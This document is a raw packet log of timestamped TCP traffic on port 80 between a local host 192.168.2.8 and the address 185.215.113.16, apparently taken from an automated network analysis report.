Dec 16, 2024 13:16:39.844130039 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.845148087 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.845206976 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.845257044 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.845308065 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.846479893 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.846498013 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.846539021 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.846565962 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.847578049 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.847637892 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.847688913 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.847740889 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.848720074 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.848746061 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.848774910 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.848803043 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.849900007 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.849972010 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.850033045 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.850086927 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.851062059 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.851123095 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.851157904 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.851211071 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.852349997 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.852361917 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.852435112 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.853511095 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.853566885 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.853638887 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.853692055 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.854620934 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.854681015 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.855055094 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.855108023 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.855962992 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.855973959 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.856024027 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.856987953 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.857666969 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.857757092 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.858159065 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.859374046 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.859388113 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.859428883 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.859457016 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.859488010 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.860661030 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.860672951 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.860734940 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.861844063 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.861855984 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.861906052 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.863074064 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.863085032 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.863146067 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.864193916 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.864264011 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.864321947 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.864375114 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.865422010 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.865432978 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.865485907 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.866528034 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.866595030 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.866628885 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.866673946 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.867671013 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.867743969 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.867767096 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.868736029 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.868900061 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.868952990 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.869148016 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.869205952 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.870054960 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.870120049 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.870117903 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.870168924 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.871218920 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.871282101 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.871340990 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.871393919 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.872426033 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.872489929 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.872546911 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.873640060 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.873658895 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.873713017 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.874859095 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.874950886 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.875008106 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.876003981 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.876068115 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.876131058 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.876173973 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.877412081 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.877470970 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.877509117 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.877549887 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.878375053 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.878444910 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.878573895 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.879558086 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.879631996 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.879648924 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.879692078 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.880748034 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.880831957 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.880853891 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.880902052 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.881917953 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.882025003 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.882072926 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.883105993 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.883182049 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.883225918 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.883271933 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.884319067 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.884402037 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.884424925 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.884471893 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.885518074 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.885591984 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.885638952 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.885688066 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.886699915 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.886720896 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.886773109 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.887900114 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.887969017 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.887998104 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.888042927 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.889090061 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.889156103 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.889250040 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.889292002 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.890527964 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.890678883 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.890738964 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.891441107 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.891572952 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.891628981 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.892657042 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.892890930 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.892925024 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.892954111 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.893829107 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.893889904 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.893912077 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.893953085 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.895009995 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.895076036 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.895134926 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.895201921 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.896198034 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.896275043 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.896295071 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.896333933 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.897386074 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.897535086 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.897561073 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.897579908 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.898873091 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.898931026 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.898993015 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.899034977 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.030174017 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.030195951 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.030276060 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.030383110 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.030431986 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.030533075 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.030575991 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.031536102 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.031588078 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.031653881 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.031697989 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.032958031 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.033040047 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.033101082 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.033145905 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.034425020 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.034563065 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.034625053 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.035052061 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.035101891 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.035218000 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.035259008 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.036372900 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.036389112 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.036427021 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.036459923 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.037373066 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.037543058 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.037595034 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.038641930 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.038800955 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.038857937 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.039897919 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.039948940 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.040062904 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.040119886 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.041089058 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.041152954 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.041234016 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.041276932 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.042193890 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.042367935 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.042426109 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.043431997 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.043445110 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.043488979 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.044625998 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.044686079 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.044799089 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.044840097 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.045830965 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.045883894 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.045972109 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.046005964 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.047024965 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.047044039 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.047095060 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.048254967 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.048311949 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.048384905 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.048424006 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.049379110 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.049437046 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.049546003 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.049587965 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.050348043 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.050445080 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.050492048 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.052304029 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.052315950 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.052371025 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.053483963 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.053494930 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.053564072 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.054099083 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.054260015 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.054316044 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.055228949 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.055299044 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.055510998 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.055558920 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.056857109 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.056922913 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.056952953 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.056993961 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.057832956 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.057890892 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.057898998 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.057939053 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.058774948 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.058892012 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.058949947 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.059977055 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.060034990 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.060153961 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.060195923 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.061306953 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.061362028 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.061373949 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.061403036 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.062315941 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.062463999 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.062521935 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.063472986 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.063527107 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.063601971 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.063644886 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.064616919 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.064665079 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.064754963 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.064795017 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.065824986 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.065872908 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.065906048 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.065944910 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.069031954 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.069042921 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.069052935 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.069062948 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.069098949 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.069143057 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.069610119 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.069783926 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.069788933 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.069830894 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.070796967 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.070808887 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.070854902 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.071865082 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.071913004 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.072140932 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.072185040 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.073079109 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.073096037 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.073122978 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.073142052 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.074445009 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.074455976 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.074500084 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.075494051 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.075504065 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.075541019 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.076617002 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.076673031 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.076817989 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.076855898 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.077685118 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.077735901 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.077819109 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.077855110 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.078886032 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.078962088 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.079009056 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.080296993 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.080374956 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.080394030 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.080420017 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.081264973 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.081310034 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.081360102 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.081397057 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.082443953 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.082544088 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.082609892 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.083637953 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.083810091 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.083856106 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.084808111 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.085015059 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.085061073 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.086112022 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.086158037 CET	49770	80	192.168.2.8	185.215.113.16
